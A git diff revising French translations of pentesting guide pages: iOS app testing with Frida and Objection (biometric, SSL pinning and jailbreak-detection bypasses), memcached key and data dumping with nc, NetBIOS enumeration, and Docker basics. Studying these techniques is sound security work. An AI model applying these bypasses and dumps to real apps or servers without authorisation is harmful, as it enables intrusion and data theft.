Pour traiter les sauvegardes chiffrées, des scripts Python disponibles dans le [dépôt GitHub de DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), comme **backup_tool.py** et **backup_passwd.py**, peuvent être utiles, bien qu'ils nécessitent potentiellement des ajustements pour être compatibles avec les dernières versions d'iTunes/Finder. L'outil [**iOSbackup**](https://pypi.org/project/iOSbackup/) est une autre option pour accéder aux fichiers dans des sauvegardes protégées par mot de passe.
|
||||
|
||||
### Modification du Comportement de l'Application
|
||||
|
||||
@ -704,15 +707,15 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Mauvaises Pratiques de Gestion des Clés
|
||||
|
||||
Certains développeurs enregistrent des données sensibles dans le stockage local et les cryptent avec une clé codée en dur/prévisible dans le code. Cela ne devrait pas être fait car un certain reverse engineering pourrait permettre aux attaquants d'extraire les informations confidentielles.
|
||||
Certains développeurs enregistrent des données sensibles dans le stockage local et les encryptent avec une clé codée en dur/prévisible dans le code. Cela ne devrait pas être fait car un certain reverse engineering pourrait permettre aux attaquants d'extraire les informations confidentielles.
|
||||
|
||||
### Utilisation d'Algorithmes Insecure et/ou Obsolètes
|
||||
### Utilisation d'Algorithmes Insecure et/ou Dépréciés
|
||||
|
||||
Les développeurs ne devraient pas utiliser des **algorithmes obsolètes** pour effectuer des **vérifications** d'autorisation, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashs** sont utilisés pour stocker des mots de passe par exemple, des hashs résistants à la force brute devraient être utilisés avec du sel.
|
||||
Les développeurs ne devraient pas utiliser des **algorithmes dépréciés** pour effectuer des **vérifications** d'autorisation, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashs** sont utilisés pour stocker des mots de passe par exemple, des hashs résistants à la force brute devraient être utilisés avec du sel.
|
||||
|
||||
### Vérification
|
||||
|
||||
Les principales vérifications à effectuer consistent à trouver si vous pouvez trouver des mots de passe/secrets **codés en dur** dans le code, ou si ceux-ci sont **prévisibles**, et si le code utilise des algorithmes de **cryptographie** **faibles**.
|
||||
Les principales vérifications à effectuer consistent à déterminer si vous pouvez trouver des mots de passe/secrets **codés en dur** dans le code, ou si ceux-ci sont **prévisibles**, et si le code utilise des algorithmes de **cryptographie** **faibles**.
|
||||
|
||||
Il est intéressant de savoir que vous pouvez **surveiller** certaines **bibliothèques** **crypto** automatiquement en utilisant **objection** avec :
|
||||
```swift
|
||||
@ -887,11 +890,11 @@ Si `LocalAuthentication.framework` est utilisé dans une application, la sortie
|
||||
```
|
||||
Si `Security.framework` est utilisé, seul le second sera affiché.
|
||||
|
||||
### Contournement du cadre d'authentification local
|
||||
### Contournement du Cadre d'Authentification Locale
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Grâce au **Objection Biometrics Bypass**, situé sur [cette page GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), une technique est disponible pour surmonter le mécanisme **LocalAuthentication**. Le cœur de cette approche consiste à utiliser **Frida** pour manipuler la fonction `evaluatePolicy`, garantissant qu'elle renvoie systématiquement un résultat `True`, indépendamment du succès réel de l'authentification. Cela est particulièrement utile pour contourner les processus d'authentification biométrique défectueux.
|
||||
Grâce au **Contournement Biométrique d'Objection**, situé sur [cette page GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), une technique est disponible pour surmonter le mécanisme **LocalAuthentication**. Le cœur de cette approche consiste à exploiter **Frida** pour manipuler la fonction `evaluatePolicy`, garantissant qu'elle renvoie systématiquement un résultat `True`, indépendamment du succès réel de l'authentification. Cela est particulièrement utile pour contourner les processus d'authentification biométrique défectueux.
|
||||
|
||||
Pour activer ce contournement, la commande suivante est utilisée :
|
||||
```bash
|
||||
@ -1018,11 +1021,11 @@ burp-configuration-for-ios.md
|
||||
### Vérification du Nom d'Hôte
|
||||
|
||||
Un problème courant lors de la validation du certificat TLS est de vérifier que le certificat a été signé par une **CA** **de confiance**, mais **ne pas vérifier** si **le nom d'hôte** du certificat est le nom d'hôte accédé.\
|
||||
Pour vérifier ce problème en utilisant Burp, après avoir fait confiance à la CA de Burp sur l'iPhone, vous pouvez **créer un nouveau certificat avec Burp pour un nom d'hôte différent** et l'utiliser. Si l'application fonctionne toujours, alors, quelque chose est vulnérable.
|
||||
Pour vérifier ce problème en utilisant Burp, après avoir fait confiance à la CA de Burp sur l'iPhone, vous pouvez **créer un nouveau certificat avec Burp pour un nom d'hôte différent** et l'utiliser. Si l'application fonctionne toujours, alors quelque chose est vulnérable.
|
||||
|
||||
### Pinning de Certificat
|
||||
|
||||
Si une application utilise correctement le SSL Pinning, alors l'application ne fonctionnera que si le certificat est celui attendu. Lors du test d'une application, **cela peut poser un problème car Burp servira son propre certificat.**\
|
||||
Si une application utilise correctement le SSL Pinning, alors l'application ne fonctionnera que si le certificat est celui attendu. Lors de l'examen d'une application, **cela peut poser un problème car Burp servira son propre certificat.**\
|
||||
Pour contourner cette protection sur un appareil jailbreaké, vous pouvez installer l'application [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ou installer [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
Vous pouvez également utiliser **objection's** `ios sslpinning disable`
|
||||
@ -1046,11 +1049,11 @@ Les développeurs peuvent **patcher toutes les installations de leur application
|
||||
|
||||
### Tiers
|
||||
|
||||
Un défi significatif avec les **SDK tiers** est le **manque de contrôle granulaire** sur leurs fonctionnalités. Les développeurs sont confrontés à un choix : soit intégrer le SDK et accepter toutes ses fonctionnalités, y compris les vulnérabilités de sécurité potentielles et les préoccupations en matière de confidentialité, soit renoncer entièrement à ses avantages. Souvent, les développeurs ne peuvent pas corriger les vulnérabilités au sein de ces SDK eux-mêmes. De plus, à mesure que les SDK gagnent la confiance au sein de la communauté, certains peuvent commencer à contenir des logiciels malveillants.
|
||||
Un défi significatif avec les **SDK tiers** est le **manque de contrôle granulaire** sur leurs fonctionnalités. Les développeurs sont confrontés à un choix : soit intégrer le SDK et accepter toutes ses fonctionnalités, y compris les vulnérabilités de sécurité potentielles et les préoccupations en matière de confidentialité, soit renoncer entièrement à ses avantages. Souvent, les développeurs ne peuvent pas corriger les vulnérabilités au sein de ces SDK eux-mêmes. De plus, à mesure que les SDK gagnent la confiance de la communauté, certains peuvent commencer à contenir des logiciels malveillants.
|
||||
|
||||
Les services fournis par les SDK tiers peuvent inclure le suivi du comportement des utilisateurs, l'affichage de publicités ou l'amélioration de l'expérience utilisateur. Cependant, cela introduit un risque car les développeurs peuvent ne pas être pleinement conscients du code exécuté par ces bibliothèques, ce qui entraîne des risques potentiels pour la confidentialité et la sécurité. Il est crucial de limiter les informations partagées avec les services tiers à ce qui est nécessaire et de s'assurer qu'aucune donnée sensible n'est exposée.
|
||||
|
||||
L'implémentation de services tiers se présente généralement sous deux formes : une bibliothèque autonome ou un SDK complet. Pour protéger la vie privée des utilisateurs, toute donnée partagée avec ces services doit être **anonymisée** pour éviter la divulgation d'Informations Personnelles Identifiables (PII).
|
||||
L'implémentation de services tiers se présente généralement sous deux formes : une bibliothèque autonome ou un SDK complet. Pour protéger la vie privée des utilisateurs, toute donnée partagée avec ces services doit être **anonymisée** pour éviter la divulgation d'Informations Personnellement Identifiables (PII).
|
||||
|
||||
Pour identifier les bibliothèques utilisées par une application, la commande **`otool`** peut être employée. Cet outil doit être exécuté contre l'application et chaque bibliothèque partagée qu'elle utilise pour découvrir des bibliothèques supplémentaires.
|
||||
```bash
|
||||
|
@ -13,10 +13,10 @@
|
||||
4. Accédez à la nouvelle source Frida ajoutée.
|
||||
5. Installez le package Frida.
|
||||
|
||||
Si vous utilisez **Corellium**, vous devrez télécharger la version de Frida depuis [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) et décompresser et copier à l'emplacement dylib demandé par Frida, par exemple : `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
Si vous utilisez **Corellium**, vous devrez télécharger la version de Frida depuis [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) et décompresser et copier à l'emplacement dylib que Frida demande, par exemple : `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
|
||||
Après l'installation, vous pouvez utiliser sur votre PC la commande **`frida-ls-devices`** et vérifier que l'appareil apparaît (votre PC doit pouvoir y accéder).\
|
||||
Exécutez également **`frida-ps -Uia`** pour vérifier les processus en cours d'exécution sur le téléphone.
|
||||
Exécutez également **`frida-ps -Uia`** pour vérifier les processus en cours d'exécution du téléphone.
|
||||
|
||||
## Frida sans appareil jailbreaké et sans patcher l'application
|
||||
|
||||
@ -29,7 +29,7 @@ Installez **frida tools** :
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
Avec le serveur Frida installé et l'appareil en cours d'exécution et connecté, **vérifiez** si le client **fonctionne** :
|
||||
Avec le serveur Frida installé et l'appareil en cours d'exécution et connecté, **vérifiez** si le client fonctionne :
|
||||
```bash
|
||||
frida-ls-devices # List devices
|
||||
frida-ps -Uia # Get running processes
|
||||
@ -54,7 +54,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
|
||||
```
|
||||
### Obtenez toutes les classes et méthodes
|
||||
|
||||
- Auto complétion : Il suffit d'exécuter `frida -U <program>`
|
||||
- Auto complétion : Exécutez simplement `frida -U <program>`
|
||||
|
||||
<figure><img src="../../images/image (1159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -135,7 +135,7 @@ console.log("loaded")
|
||||
|
||||
### Frida Stalker
|
||||
|
||||
[From the docs](https://frida.re/docs/stalker/): Stalker est le **moteur de traçage** de Frida. Il permet de **suivre** les threads, **capturant** chaque fonction, **chaque bloc**, même chaque instruction qui est exécutée.
|
||||
[From the docs](https://frida.re/docs/stalker/): Stalker est le **moteur de traçage** de Frida. Il permet aux threads d'être **suivis**, **capturant** chaque fonction, **chaque bloc**, même chaque instruction qui est exécutée.
|
||||
|
||||
Vous avez un exemple implémentant Frida Stalker dans [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
|
||||
|
||||
@ -298,7 +298,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
||||
|
||||
### Logs & Crashes
|
||||
|
||||
Vous pouvez vérifier la **console macOS** ou le cli **`log`** pour consulter les logs de macOS.\
|
||||
Vous pouvez vérifier la **console macOS** ou le **cli `log`** pour consulter les logs macOS.\
|
||||
Vous pouvez également vérifier les logs d'iOS en utilisant **`idevicesyslog`**.\
|
||||
Certains logs omettront des informations en ajoutant **`<private>`**. Pour afficher toutes les informations, vous devez installer un profil depuis [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) pour activer ces informations privées.
|
||||
|
||||
|
@ -6,10 +6,10 @@
|
||||
|
||||
Une **identité de provisionnement** est un ensemble de clés publiques et privées associées à un compte développeur Apple. Pour **signer des applications**, vous devez payer **99$/an** pour vous inscrire au **Programme de développement Apple** afin d'obtenir votre identité de provisionnement. Sans cela, vous ne pourrez pas exécuter des applications à partir du code source sur un appareil physique. Une autre option est d'utiliser un **appareil jailbreaké**.
|
||||
|
||||
À partir de Xcode 7.2, Apple a fourni une option pour créer un **profil de provisionnement de développement iOS gratuit** qui permet d'écrire et de tester votre application sur un véritable iPhone. Allez dans _Xcode_ --> _Préférences_ --> _Comptes_ --> _+_ (Ajouter un nouvel ID d'application avec vos identifiants) --> _Cliquez sur l'Apple ID créé_ --> _Gérer les certificats_ --> _+_ (Développement Apple) --> _Terminé_\
|
||||
À partir de Xcode 7.2, Apple a fourni une option pour créer un **profil de provisionnement de développement iOS gratuit** qui permet d'écrire et de tester votre application sur un véritable iPhone. Allez dans _Xcode_ --> _Préférences_ --> _Comptes_ --> _+_ (Ajouter un nouvel ID Appli avec vos identifiants) --> _Cliquez sur l'Apple ID créé_ --> _Gérer les certificats_ --> _+_ (Développement Apple) --> _Terminé_\
|
||||
\_\_Ensuite, pour exécuter votre application sur votre iPhone, vous devez d'abord **indiquer à l'iPhone de faire confiance à l'ordinateur.** Ensuite, vous pouvez essayer de **lancer l'application sur le mobile depuis Xcode,** mais une erreur apparaîtra. Allez donc dans _Réglages_ --> _Général_ --> _Profils et gestion des appareils_ --> Sélectionnez le profil non fiable et cliquez sur "**Faire confiance**".
|
||||
|
||||
Notez que **les applications signées par le même certificat de signature peuvent partager des ressources de manière sécurisée, comme les éléments du trousseau**.
|
||||
Notez que **les applications signées par le même certificat de signature peuvent partager des ressources de manière sécurisée, comme des éléments de trousseau**.
|
||||
|
||||
Les profils de provisionnement sont stockés dans le téléphone dans **`/Library/MobileDevice/ProvisioningProfiles`**
|
||||
|
||||
@ -69,13 +69,13 @@ Apple exige strictement que le code exécuté sur l'iPhone soit **signé par un
|
||||
|
||||
### Rooting Android vs. Jailbreaking iOS
|
||||
|
||||
Bien qu'ils soient souvent comparés, **le rooting** sur Android et **le jailbreaking** sur iOS sont des processus fondamentalement différents. Le rooting des appareils Android peut impliquer **l'installation du binaire `su`** ou **le remplacement du système par un ROM personnalisé rooté**, ce qui ne nécessite pas nécessairement d'exploits si le bootloader est déverrouillé. **Flasher des ROMs personnalisés** remplace le système d'exploitation de l'appareil après le déverrouillage du bootloader, nécessitant parfois un exploit.
|
||||
Bien qu'ils soient souvent comparés, **le rooting** sur Android et **le jailbreaking** sur iOS sont des processus fondamentalement différents. Le rooting des appareils Android peut impliquer **l'installation du binaire `su`** ou **le remplacement du système par un ROM personnalisé rooté**, ce qui ne nécessite pas nécessairement d'exploits si le bootloader est déverrouillé. **Flasher des ROM personnalisées** remplace le système d'exploitation de l'appareil après le déverrouillage du bootloader, nécessitant parfois un exploit.
|
||||
|
||||
En revanche, les appareils iOS ne peuvent pas flasher des ROMs personnalisés en raison de la restriction du bootloader à ne démarrer que des images signées par Apple. **Le jailbreaking iOS** vise à contourner les protections de signature de code d'Apple pour exécuter du code non signé, un processus compliqué par les améliorations de sécurité continues d'Apple.
|
||||
En revanche, les appareils iOS ne peuvent pas flasher des ROM personnalisées en raison de la restriction du bootloader à ne démarrer que des images signées par Apple. **Le Jailbreaking iOS** vise à contourner les protections de signature de code d'Apple pour exécuter du code non signé, un processus compliqué par les améliorations de sécurité continues d'Apple.
|
||||
|
||||
### Défis du Jailbreaking
|
||||
|
||||
Le jailbreaking iOS devient de plus en plus difficile car Apple corrige rapidement les vulnérabilités. **Le downgrade d'iOS** n'est possible que pendant une période limitée après une version, rendant le jailbreaking une affaire sensible au temps. Les appareils utilisés pour les tests de sécurité ne doivent pas être mis à jour à moins que le re-jailbreaking ne soit garanti.
|
||||
Le Jailbreaking iOS devient de plus en plus difficile car Apple corrige rapidement les vulnérabilités. **Le Downgrade d'iOS** n'est possible que pendant une période limitée après une version, rendant le jailbreaking une affaire sensible au temps. Les appareils utilisés pour les tests de sécurité ne doivent pas être mis à jour à moins que le re-jailbreaking ne soit garanti.
|
||||
|
||||
Les mises à jour iOS sont contrôlées par un **mécanisme de défi-réponse** (blobs SHSH), permettant l'installation uniquement pour des réponses signées par Apple. Ce mécanisme, connu sous le nom de "fenêtre de signature", limite la capacité de stocker et d'utiliser ultérieurement des packages de firmware OTA. Le site [IPSW Downloads](https://ipsw.me) est une ressource pour vérifier les fenêtres de signature actuelles.
|
||||
|
||||
@ -98,7 +98,7 @@ Modifier votre appareil comporte des risques, et le jailbreaking doit être abor
|
||||
|
||||
### Avantages et Risques du Jailbreaking
|
||||
|
||||
Le jailbreaking **supprime le sandboxing imposé par le système d'exploitation**, permettant aux applications d'accéder à l'ensemble du système de fichiers. Cette liberté permet l'installation d'applications non approuvées et l'accès à plus d'API. Cependant, pour les utilisateurs réguliers, le jailbreaking **n'est pas recommandé** en raison des risques de sécurité potentiels et de l'instabilité de l'appareil.
|
||||
Le Jailbreaking **supprime le sandboxing imposé par le système d'exploitation**, permettant aux applications d'accéder à l'ensemble du système de fichiers. Cette liberté permet l'installation d'applications non approuvées et l'accès à plus d'API. Cependant, pour les utilisateurs réguliers, le jailbreaking **n'est pas recommandé** en raison des risques de sécurité potentiels et de l'instabilité de l'appareil.
|
||||
|
||||
### **Après le Jailbreaking**
|
||||
|
||||
@ -123,7 +123,7 @@ Vous pouvez essayer d'éviter ces détections en utilisant **l'option `ios jailb
|
||||
## **Contournement de la Détection de Jailbreak**
|
||||
|
||||
- Vous pouvez essayer d'éviter ces détections en utilisant **l'option `ios jailbreak disable` d'objection**.
|
||||
- Vous pourriez également installer l'outil **Liberty Lite** (https://ryleyangus.com/repo/). Une fois le dépôt ajouté, l'application devrait apparaître dans l'onglet 'Recherche'.
|
||||
- Vous pourriez également installer l'outil **Liberty Lite** (https://ryleyangus.com/repo/). Une fois le dépôt ajouté, l'application devrait apparaître dans l'onglet ‘Recherche’.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Informations sur le protocole
|
||||
|
||||
D'après [wikipedia](https://en.wikipedia.org/wiki/Memcached):
|
||||
De [wikipedia](https://en.wikipedia.org/wiki/Memcached):
|
||||
|
||||
> **Memcached** (prononciation : mem-cashed, mem-cash-dee) est un système de [mise en cache en mémoire](https://en.wikipedia.org/wiki/Memory_caching) distribué à usage général. Il est souvent utilisé pour accélérer les sites web dynamiques basés sur des bases de données en mettant en cache des données et des objets dans la RAM pour réduire le nombre de fois qu'une source de données externe (comme une base de données ou une API) doit être lue.
|
||||
> **Memcached** (prononciation : mem-cashed, mem-cash-dee) est un système de [mise en cache en mémoire](https://en.wikipedia.org/wiki/Memory_caching) distribué à usage général. Il est souvent utilisé pour accélérer les sites Web dynamiques basés sur des bases de données en mettant en cache des données et des objets dans la RAM pour réduire le nombre de fois qu'une source de données externe (comme une base de données ou une API) doit être lue.
|
||||
|
||||
Bien que Memcached prenne en charge SASL, la plupart des instances sont **exposées sans authentification**.
|
||||
|
||||
@ -22,8 +22,8 @@ PORT STATE SERVICE
|
||||
Pour exfiltrer toutes les informations enregistrées dans une instance de memcache, vous devez :
|
||||
|
||||
1. Trouver des **slabs** avec des **éléments actifs**
|
||||
2. Obtenir les **noms de clé** des slabs détectés précédemment
|
||||
3. Exfiltrer les **données enregistrées** en **obtenant les noms de clé**
|
||||
2. Obtenir les **noms de clés** des slabs détectés précédemment
|
||||
3. Exfiltrer les **données enregistrées** en **obtenant les noms de clés**
|
||||
|
||||
N'oubliez pas que ce service n'est qu'un **cache**, donc **les données peuvent apparaître et disparaître**.
|
||||
```bash
|
||||
@ -55,11 +55,11 @@ msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplifica
|
||||
|
||||
Dans le domaine de memcache, un protocole qui aide à organiser les données par slabs, des commandes spécifiques existent pour inspecter les données stockées, bien qu'avec des contraintes notables :
|
||||
|
||||
1. Les clés ne peuvent être extraites que par classe de slab, regroupant des clés de taille de contenu similaire.
|
||||
1. Les clés ne peuvent être extraites que par classe de slab, regroupant les clés de taille de contenu similaire.
|
||||
2. Une limite existe d'une page par classe de slab, équivalant à 1 Mo de données.
|
||||
3. Cette fonctionnalité est non officielle et peut être interrompue à tout moment, comme discuté dans [community forums](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM).
|
||||
|
||||
La limitation de ne pouvoir extraire que 1 Mo de données parmi potentiellement des gigaoctets de données est particulièrement significative. Cependant, cette fonctionnalité peut encore offrir des aperçus sur les modèles d'utilisation des clés, en fonction des besoins spécifiques. Pour ceux qui s'intéressent moins à la mécanique, une visite à la [tools section](https://lzone.de/cheat-sheet/memcached#tools) révèle des utilitaires pour un dumping complet. Alternativement, le processus d'utilisation de telnet pour une interaction directe avec les configurations memcached est décrit ci-dessous.
|
||||
La limitation de ne pouvoir extraire que 1 Mo de données potentiellement de plusieurs gigaoctets est particulièrement significative. Cependant, cette fonctionnalité peut encore offrir des aperçus sur les modèles d'utilisation des clés, selon les besoins spécifiques. Pour ceux qui s'intéressent moins à la mécanique, une visite à la [tools section](https://lzone.de/cheat-sheet/memcached#tools) révèle des utilitaires pour un dumping complet. Alternativement, le processus d'utilisation de telnet pour une interaction directe avec les configurations memcached est décrit ci-dessous.
|
||||
|
||||
### **How it Works**
|
||||
|
||||
@ -109,7 +109,7 @@ Cette méthode itère sur les classes de slab, extrayant et optionnellement dév
|
||||
|
||||
### **DUMPING DES CLÉS MEMCACHE (VER 1.4.31+)**
|
||||
|
||||
Avec la version 1.4.31 de memcache et au-dessus, une nouvelle méthode plus sûre pour déverser des clés dans un environnement de production est introduite, utilisant le mode non-bloquant comme détaillé dans les [release notes](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Cette approche génère une sortie extensive, d'où la recommandation d'employer la commande 'nc' pour plus d'efficacité. Les exemples incluent :
|
||||
Avec la version 1.4.31 de memcache et au-dessus, une nouvelle méthode plus sûre pour déverser des clés dans un environnement de production est introduite, utilisant le mode non-bloquant comme détaillé dans les [notes de version](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Cette approche génère une sortie extensive, d'où la recommandation d'employer la commande 'nc' pour plus d'efficacité. Les exemples incluent :
|
||||
```bash
|
||||
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
|
||||
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
|
||||
@ -118,24 +118,24 @@ echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce
|
||||
|
||||
Table [from here](https://lzone.de/blog).
|
||||
|
||||
| Langages de Programmation | Outils | Fonctionnalité | | |
|
||||
| Langages de programmation | Outils | Fonctionnalité | | |
|
||||
| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------- |
|
||||
| PHP | [simple script](http://snipt.org/xtP) | Imprime les noms des clés. | | |
|
||||
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Imprime les clés et les valeurs | | |
|
||||
| Ruby | [simple script](https://gist.github.com/1365005) | Imprime les noms des clés. | | |
|
||||
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Outil dans le module CPAN | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
|
||||
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Outil dans le module CPAN | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Interface de surveillance Memcache qui permet également de dumper les clés | | |
|
||||
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Fait geler votre processus memcached !!!** Faites attention en l'utilisant en production. En l'utilisant, vous pouvez contourner la limitation de 1 Mo et vraiment dumper **toutes** les clés. | | |
|
||||
|
||||
## Dépannage <a href="#troubleshooting" id="troubleshooting"></a>
|
||||
|
||||
### Limite de Données de 1 Mo <a href="#1mb-data-limit" id="1mb-data-limit"></a>
|
||||
### Limite de données de 1 Mo <a href="#1mb-data-limit" id="1mb-data-limit"></a>
|
||||
|
||||
Notez qu'avant memcached 1.4, vous ne pouvez pas stocker des objets plus grands que 1 Mo en raison de la taille maximale de slab par défaut.
|
||||
|
||||
### Ne Jamais Définir un Délai > 30 Jours ! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
|
||||
### Ne jamais définir un délai d'expiration > 30 jours ! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
|
||||
|
||||
Si vous essayez de “définir” ou “ajouter” une clé avec un délai supérieur au maximum autorisé, vous pourriez ne pas obtenir ce que vous attendez car memcached traite alors la valeur comme un horodatage Unix. De plus, si l'horodatage est dans le passé, il ne fera rien du tout. Votre commande échouera silencieusement.
|
||||
Si vous essayez de “définir” ou “ajouter” une clé avec un délai d'expiration supérieur au maximum autorisé, vous pourriez ne pas obtenir ce que vous attendez car memcached traite alors la valeur comme un horodatage Unix. De plus, si l'horodatage est dans le passé, il ne fera rien du tout. Votre commande échouera silencieusement.
|
||||
|
||||
Donc, si vous voulez utiliser la durée de vie maximale, spécifiez 2592000. Exemple :
|
||||
```
|
||||
|
@ -14,12 +14,12 @@
|
||||
|
||||
### Service de nom
|
||||
|
||||
Pour qu'un appareil participe à un réseau NetBIOS, il doit avoir un nom unique. Cela est réalisé par un **processus de diffusion** où un paquet "Name Query" est envoyé. Si aucune objection n'est reçue, le nom est considéré comme disponible. Alternativement, un **serveur de service de nom** peut être interrogé directement pour vérifier la disponibilité d'un nom ou pour résoudre un nom en une adresse IP. Des outils comme `nmblookup`, `nbtscan` et `nmap` sont utilisés pour énumérer les services NetBIOS, révélant les noms de serveurs et les adresses MAC.
|
||||
Pour qu'un appareil participe à un réseau NetBIOS, il doit avoir un nom unique. Cela est réalisé par un **processus de diffusion** où un paquet "Name Query" est envoyé. Si aucune objection n'est reçue, le nom est considéré comme disponible. Alternativement, un **serveur de service de nom** peut être interrogé directement pour vérifier la disponibilité d'un nom ou pour résoudre un nom en une adresse IP. Des outils comme `nmblookup`, `nbtscan`, et `nmap` sont utilisés pour énumérer les services NetBIOS, révélant les noms de serveurs et les adresses MAC.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
```
|
||||
En énumérant un service NetBIOS, vous pouvez obtenir les noms que le serveur utilise et l'adresse MAC du serveur.
|
||||
En énumérant un service NetBIOS, vous pouvez obtenir les noms utilisés par le serveur et l'adresse MAC du serveur.
|
||||
```bash
|
||||
nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
@ -32,11 +32,11 @@ Les datagrammes NetBIOS permettent une communication sans connexion via UDP, pre
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
```
|
||||
### Service de Session
|
||||
### Service de session
|
||||
|
||||
Pour les interactions orientées connexion, le **Service de Session** facilite une conversation entre deux appareils, en utilisant des connexions **TCP** via le port **139/tcp**. Une session commence par un paquet "Session Request" et peut être établie en fonction de la réponse. Le service prend en charge des messages plus volumineux, la détection d'erreurs et la récupération, avec TCP gérant le contrôle de flux et la retransmission des paquets.
|
||||
Pour les interactions orientées connexion, le **Service de session** facilite une conversation entre deux appareils, en utilisant des connexions **TCP** via le port **139/tcp**. Une session commence par un paquet "Demande de session" et peut être établie en fonction de la réponse. Le service prend en charge des messages plus volumineux, la détection d'erreurs et la récupération, avec TCP gérant le contrôle de flux et la retransmission des paquets.
|
||||
|
||||
La transmission de données au sein d'une session implique des paquets **Session Message**, les sessions étant terminées par la fermeture de la connexion TCP.
|
||||
La transmission de données au sein d'une session implique des **paquets de message de session**, les sessions étant terminées par la fermeture de la connexion TCP.
|
||||
|
||||
Ces services sont essentiels au fonctionnement de **NetBIOS**, permettant une communication efficace et le partage de ressources à travers un réseau. Pour plus d'informations sur les protocoles TCP et IP, consultez leurs pages respectives [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) et [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||
```bash
|
||||
|
@ -13,7 +13,7 @@ Docker est la **plateforme de pointe** dans l'**industrie de la conteneurisation
|
||||
- [**containerd**](http://containerd.io) : C'est un **runtime principal** pour les conteneurs, chargé de la **gestion complète du cycle de vie d'un conteneur**. Cela implique la gestion du **transfert et du stockage d'images**, en plus de superviser l'**exécution, la surveillance et le réseau** des conteneurs. **Des informations plus détaillées** sur containerd sont **explorées plus en profondeur**.
|
||||
- Le **container-shim** joue un rôle critique en tant qu'**intermédiaire** dans la gestion des **conteneurs sans tête**, prenant en charge sans effort **runc** après l'initialisation des conteneurs.
|
||||
- [**runc**](http://runc.io) : Réputé pour ses capacités de **runtime de conteneur léger et universel**, runc est aligné avec la **norme OCI**. Il est utilisé par containerd pour **démarrer et gérer des conteneurs** selon les **directives OCI**, ayant évolué à partir de l'original **libcontainer**.
|
||||
- [**grpc**](http://www.grpc.io) est essentiel pour **faciliter la communication** entre containerd et le **docker-engine**, garantissant une **interaction efficace**.
|
||||
- [**grpc**](http://www.grpc.io) est essentiel pour **faciliter la communication** entre containerd et le **docker-engine**, assurant une **interaction efficace**.
|
||||
- L' [**OCI**](https://www.opencontainers.org) est essentiel pour maintenir les **spécifications OCI** pour les runtimes et les images, les dernières versions de Docker étant **conformes aux normes OCI pour les images et les runtimes**.
|
||||
|
||||
#### Commandes de base
|
||||
@ -45,7 +45,7 @@ docker system prune -a
|
||||
|
||||
Une décision de conception clé est que **Containerd ne gère pas le réseau**. Le réseau est considéré comme un élément critique dans les systèmes distribués, avec des complexités telles que le Software Defined Networking (SDN) et la découverte de services qui varient considérablement d'une plateforme à l'autre. Par conséquent, Containerd laisse les aspects réseau à gérer par les plateformes qu'il prend en charge.
|
||||
|
||||
